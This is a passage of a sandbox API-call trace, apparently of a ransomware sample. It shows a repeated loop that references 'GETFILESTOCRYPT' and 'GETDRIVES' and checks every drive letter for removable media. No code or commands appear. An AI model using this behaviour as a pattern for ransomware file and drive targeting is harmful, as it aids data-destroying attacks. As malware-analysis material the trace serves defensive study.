lpsz="GETFILESTOCRYPT") returned 0xf [0084.412] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.412] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.412] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.412] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.413] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.413] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.413] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.413] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.413] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.413] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.413] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.413] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.413] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.413] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.413] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.413] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.414] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.414] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.414] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.414] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.414] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.414] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.414] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.414] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.415] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.415] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0084.415] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0084.415] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0084.415] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0084.415] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0084.415] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0084.415] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0084.416] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0084.416] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0084.416] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0084.416] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0084.416] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.416] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.416] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.416] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.416] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.416] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.416] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.417] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.417] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.417] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.417] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.417] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.417] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.417] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.417] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.417] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.417] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.417] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.417] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.417] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.417] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.417] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.418] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.418] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.418] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.418] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.418] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.418] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.418] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.419] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.419] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.419] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.419] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.419] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0084.419] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0084.419] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0084.419] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0084.419] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0084.420] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0084.420] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0084.420] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0084.420] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0084.420] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0084.420] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0084.420] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.420] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.421] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.421] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.421] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.421] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.421] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.421] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.421] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.421] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.421] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.421] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.421] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.421] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.421] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.421] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.421] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.421] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.421] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.421] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.422] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.422] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.422] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.422] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.422] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.422] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.422] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.422] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.422] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.423] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.423] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.423] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.423] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.423] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0084.423] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0084.423] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0084.423] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0084.424] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0084.424] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0084.424] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0084.424] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0084.424] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0084.424] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0084.424] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0084.424] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.425] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.425] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.425] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.425] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.425] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.425] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.425] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.425] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.425] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.425] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.425] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.425] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.425] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.425] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.425] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.425] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.426] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.426] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.426] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.426] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.426] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.426] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.426] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.444] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.445] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.445] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.445] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.445] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.445] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.445] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.445] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.445] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.445] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.446] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.446] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.446] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.446] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.446] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.446] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.446] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.446] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.446] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.446] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.446] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.446] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.446] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.446] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.446] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.446] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.446] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.446] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.447] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.447] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.447] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.447] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.447] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.447] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.447] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.447] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.447] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.447] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.448] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.448] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.448] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.448] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.448] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.448] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.448] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.448] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.448] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.448] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.448] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.448] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.448] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.448] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.448] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.448] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.448] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.448] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.449] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) 